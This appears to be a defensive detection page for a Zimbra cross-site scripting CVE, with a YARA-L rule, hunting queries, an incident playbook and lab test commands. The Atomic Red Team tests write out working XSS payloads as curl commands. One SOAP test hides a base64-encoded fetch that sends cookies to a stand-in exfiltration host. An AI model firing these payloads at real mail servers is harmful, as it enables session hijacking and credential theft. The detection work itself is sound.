CVE-2025-66376 Google Chronicle · YARA-L

Detect Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation in Google Chronicle

Detects exploitation attempts targeting CVE-2025-66376, a cross-site scripting vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This KEV-listed vulnerability allows attackers to inject malicious scripts into the Zimbra web interface, potentially leading to session hijacking, credential theft, or further compromise of email infrastructure. Active exploitation has been confirmed by CISA.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule zimbra_xss_cve_2025_66376 {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects XSS exploitation attempts targeting Zimbra Collaboration Suite (CVE-2025-66376)"
    severity = "HIGH"
    priority = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-66376"
    yara_version = "YL2.0"
    rule_version = "1.0"
  events:
    $req.metadata.event_type = "NETWORK_HTTP"
    (
      re.regex($req.target.url, `(?i)/zimbra/`) or
      re.regex($req.target.url, `(?i)/service/home/`) or
      re.regex($req.target.url, `(?i)/service/soap/`)
    )
    (
      re.regex($req.target.url, `(?i)(<script|javascript:|onerror=|onload=|onfocus=|onmouseover=)`) or
      re.regex($req.network.http.request_body, `(?i)(<script|javascript:|onerror=|onload=|eval\()`) or
      re.regex($req.target.url, `(?i)(eval\(|document\.cookie|window\.location|String\.fromCharCode)`)
    )
  condition:
    $req
}
high severity medium confidence

Chronicle YARA-L 2.0 rule detecting HTTP requests to Zimbra paths containing XSS payload patterns in URL parameters or request bodies. Matches single events to ensure no exploitation attempt is missed.

Data Sources

Chronicle UDMGoogle Cloud HTTP load balancer logsWeb proxy logs via Chronicle forwarder

Required Tables

events

False Positives & Tuning

  • Automated security scanning tools probing all web endpoints for XSS vulnerabilities
  • Legitimate Zimbra SOAP API calls with XML payloads containing encoded angle brackets
  • Email security gateway log forwarding of raw HTML email body content
  • URL-encoded search strings from Zimbra desktop clients with special characters

Other platforms for CVE-2025-66376

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic Reflected XSS Probe Against Zimbra Login

    Expected signal: HTTP request to /zimbra/h/search with '<script>' in query parameter visible in web server access logs and WAF logs. Response code 200 or 302 depending on authentication state.

  2. Test 2Event Handler XSS Payload via Zimbra Mail Search

    Expected signal: HTTP GET request with URL-encoded onerror= payload in query string visible in Zimbra access logs. Source IP and full URI captured in web server logs.

  3. Test 3SVG-Based XSS Payload Injection via Zimbra SOAP API

    Expected signal: HTTP POST to /service/soap/ with SVG onload payload in request body. Body content inspection required — perimeter WAF or SIEM HTTP body logging must be enabled to capture this variant.

  4. Test 4JavaScript URI Scheme XSS in Zimbra Contact Import

    Expected signal: HTTP POST to /service/home/ with multipart form data containing vCard. File upload logged in Zimbra access and mailbox logs. The javascript: URI in vCard URL field tests stored XSS if imported contact is rendered without sanitization.

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Confirm the targeted host is running Zimbra Collaboration Suite by checking service banners, application logs at /opt/zimbra/log/, or CMDB records. Verify the Zimbra version is within affected range per the vendor advisory at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories.
  2. Review the source IP's full request history against the Zimbra endpoint for the past 72 hours. Determine whether the request pattern represents a single targeted probe, a systematic XSS fuzzing campaign, or a successful payload delivery indicated by a 200 response code.
  3. Inspect Zimbra mailbox and zimbraAdmin logs for any subsequent authenticated sessions originating from the attacking IP or any unusual OAuth token issuance, password changes, or mail forwarding rule additions following the XSS attempt.
  4. Check if the XSS payload was stored (persistent XSS) by reviewing Zimbra database content for injected script tags in contacts, calendar entries, mail signatures, or shared documents that could execute against other users.

Containment

  1. If active exploitation is confirmed or a stored XSS payload is discovered, immediately block the source IP at the perimeter firewall and WAF. Enable Zimbra's built-in input sanitization and deploy WAF rules filtering script injection patterns for all /zimbra/ and /service/ URL paths.
  2. Invalidate all active Zimbra web session tokens (ZM_AUTH_TOKEN) by restarting the Zimbra mailbox service (`zmcontrol restart`) or revoking sessions via the Zimbra Admin Console under Accounts > Sessions. This terminates any hijacked sessions before the attacker can exfiltrate data or pivot to additional accounts.

Evidence Collection

  1. Collect Zimbra access logs (/opt/zimbra/log/access_log.*), mailbox logs (/opt/zimbra/log/mailbox.log.*), and audit logs (/opt/zimbra/log/audit.log) covering the attack window. Preserve originals with SHA-256 hashes before any log rotation.
  2. Export Zimbra database records for affected user accounts including mail forwarding rules (zimbraMailForwardingAddress), delegates, and connected third-party applications. Capture browser session artifacts if an admin account was targeted, including any newly created admin accounts or API keys.

Escalation Criteria

  • !Escalate immediately if any Zimbra administrator account shows signs of session hijacking: unexpected admin console logins, new admin account creation, global configuration changes, or certificate replacement activity within the attack timeframe.
  • !Escalate to incident response if a stored XSS payload is found that has already executed in other users' browsers — this indicates mass credential harvesting or session token exfiltration may have occurred across the entire Zimbra user base.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Zimbra access logs at /opt/zimbra/log/access_log containing raw HTTP request URIs with injected payloads
  • >Zimbra audit logs at /opt/zimbra/log/audit.log recording authentication events, account modifications, and admin actions post-exploitation
  • >Browser forensic artifacts on victim endpoints: session storage containing ZM_AUTH_TOKEN values, browser history showing Zimbra webmail access, and network captures showing exfiltration beacons if JavaScript payload included C2 callbacks
  • >Zimbra LDAP/database records showing mail forwarding rule additions, delegate access grants, or new connected app authorizations created during the exploitation window

Tuning Guidance

Reduce false positives by building an allowlist of authorized vulnerability scanner IP addresses and excluding them from alerting while retaining logging. Implement URL decoding normalization in your SIEM pipeline before pattern matching to catch encoded payloads (%3Cscript, %3C%2Fscript). Tune confidence to 'high' once WAF blocking is confirmed and only alerting on payloads that bypass WAF (HTTP 200/302 responses). For Zimbra deployments behind a CDN or reverse proxy, ensure the original client IP is preserved via X-Forwarded-For headers to avoid attributing all traffic to the proxy IP.

Hunting Queries

Threat hunt for URL-encoded XSS payloads that may have evaded initial detection. Searches for double and single URL-encoded XSS patterns in Zimbra paths with successful HTTP response codes, indicating possible successful payload delivery rather than blocked attempts.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL contains "/zimbra/" or csUriStem contains "/zimbra/"
| where EventOutcome in ("200", "201", "302")
| where RequestURL matches regex @"(?i)(%3Cscript|%3C%2Fscript|javascript%3A|onerror%3D|onload%3D|%3Csvg|document%2Ecookie)"
| project TimeGenerated, SourceIP, RequestURL, EventOutcome, RequestClientApplication
| sort by TimeGenerated desc
Hunting — SPL
spl 
index=web OR index=proxy earliest=-30d
| where (like(uri, "%/zimbra/%") OR like(uri, "%/service/home/%"))
| where status IN ("200", "201", "302")
| where (like(uri, "%25253Cscript%25") OR like(uri, "%2525javascript%25") OR like(uri, "%253Csvg%25") OR like(uri, "%25onerror%25") OR match(uri, "(?i)(%3cscript|javascript:|onerror=|onload=)"))
| stats count by src_ip, uri, status
| sort - count

Post-exploitation hunting query for suspicious administrative actions in Zimbra following a potential XSS session hijack. Focuses on account creation, password resets, and privilege escalation that indicate an attacker leveraged a stolen admin session.

Hunting — KQL
kql 
AuditLogs
| where TimeGenerated >= ago(14d)
| where OperationName contains "Zimbra" or TargetResources has_any ("/zimbra", "ZCS", "Zimbra")
| where InitiatedBy.user.ipAddress !in (known_admin_ips)
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result
| sort by TimeGenerated desc
Hunting — SPL
spl 
index=zimbra sourcetype=zimbra:audit earliest=-14d
| where action IN ("CreateAccount", "DeleteAccount", "ModifyAccount", "AddAccountAlias", "SetPassword", "AddDistributionListMember")
| stats count, values(src_ip) as src_ips, values(target) as targets by user, action
| where mvcount(src_ips) > 1 OR count > 5

Atomic Red Team Tests

Test 1 Basic Reflected XSS Probe Against Zimbra Login
linux

Simulates an attacker probing the Zimbra login endpoint with a basic reflected XSS payload to test if user input is reflected unsanitized in the HTTP response. Lab use only against an isolated Zimbra test instance.

Command

bash 
curl -sk 'https://ZIMBRA_HOST/zimbra/h/search?q=<script>alert(document.cookie)</script>' -H 'User-Agent: Mozilla/5.0 (XSS-Test)' -o /tmp/zimbra_xss_response.html && grep -i 'script' /tmp/zimbra_xss_response.html | head -20

Cleanup

bash 
rm -f /tmp/zimbra_xss_response.html

Expected Telemetry

HTTP request to /zimbra/h/search with '<script>' in query parameter visible in web server access logs and WAF logs. Response code 200 or 302 depending on authentication state.

Expected Detection

KQL/SPL queries matching '<script' pattern in Zimbra URI path. WAF should block and generate an alert; if WAF is absent or misconfigured, SIEM detection fires on the raw log.

Test 2 Event Handler XSS Payload via Zimbra Mail Search
linux

Tests Zimbra search functionality with an event-handler-based XSS payload that bypasses simple script-tag filters. Uses an img onerror attribute to test for DOM-based or reflected XSS in search result rendering.

Command

bash 
curl -sk -b 'ZM_AUTH_TOKEN=TEST_TOKEN' 'https://ZIMBRA_HOST/zimbra/h/search?q=test%22><img%20src=x%20onerror=alert(1)>&limit=25' -H 'Accept: text/html' -o /tmp/zimbra_onerror_test.html && echo 'Response size:' && wc -c /tmp/zimbra_onerror_test.html

Cleanup

bash 
rm -f /tmp/zimbra_onerror_test.html

Expected Telemetry

HTTP GET request with URL-encoded onerror= payload in query string visible in Zimbra access logs. Source IP and full URI captured in web server logs.

Expected Detection

Detection triggers on 'onerror=' pattern match in Zimbra URL paths. URL-encoded variant (%20onerror%3D) requires SIEM URL-decode normalization to catch — validate this tuning gap.

Test 3 SVG-Based XSS Payload Injection via Zimbra SOAP API
linux

Simulates a more sophisticated XSS attempt using an SVG onload payload submitted through the Zimbra SOAP API endpoint, testing whether server-side input validation sanitizes XML/SVG content before storage or reflection.

Command

bash 
curl -sk -X POST 'https://ZIMBRA_HOST/service/soap/' -H 'Content-Type: application/soap+xml' -H 'User-Agent: ZimbraSOAP-XSS-Test/1.0' -d '<?xml version="1.0" encoding="utf-8" ?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><SearchRequest xmlns="urn:zimbraMail" types="message" limit="1"><query><svg onload="fetch(atob(\"aHR0cHM6Ly9leGZpbC50ZXN0L3hvP2M9\"+btoa(document.cookie)))"/></query></SearchRequest></soap:Body></soap:Envelope>' -o /tmp/zimbra_soap_xss.xml && echo 'SOAP response captured'

Cleanup

bash 
rm -f /tmp/zimbra_soap_xss.xml

Expected Telemetry

HTTP POST to /service/soap/ with SVG onload payload in request body. Body content inspection required — perimeter WAF or SIEM HTTP body logging must be enabled to capture this variant.

Expected Detection

Detection fires on '<svg' and 'onload=' patterns in HTTP request body if body content inspection is enabled. Tests a critical gap: query-only detections miss POST body payloads. Validates that body-inspection rules are in scope.

Test 4 JavaScript URI Scheme XSS in Zimbra Contact Import
linux

Tests the Zimbra contact import functionality with a vCard containing a javascript: URI scheme in a URL field to probe for stored XSS via the contact management interface.

Command

bash 
printf 'BEGIN:VCARD\nVERSION:3.0\nFN:XSS Test Contact\nURL:javascript:alert(document.cookie)//\nEND:VCARD\n' > /tmp/xss_contact.vcf && curl -sk -F 'file=@/tmp/xss_contact.vcf' -b 'ZM_AUTH_TOKEN=TEST_TOKEN' 'https://ZIMBRA_HOST/service/home/~/?fmt=vcf&force=1' -o /tmp/zimbra_import_response.html && echo 'Import attempted'

Cleanup

bash 
rm -f /tmp/xss_contact.vcf /tmp/zimbra_import_response.html

Expected Telemetry

HTTP POST to /service/home/ with multipart form data containing vCard. File upload logged in Zimbra access and mailbox logs. The javascript: URI in vCard URL field tests stored XSS if imported contact is rendered without sanitization.

Expected Detection

Detection may not fire on this vector unless body inspection covers multipart form fields. This test is designed to identify blind spots in current detection coverage — a negative result (no alert) indicates a tuning gap for file-upload XSS paths.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0006Credential AccessTA0009Collection

Related Techniques

T1189Drive-by CompromiseT1185Browser Session HijackingT1059.007JavaScriptT1114Email Collection

Same Tactic: Initial Access

Popular Detections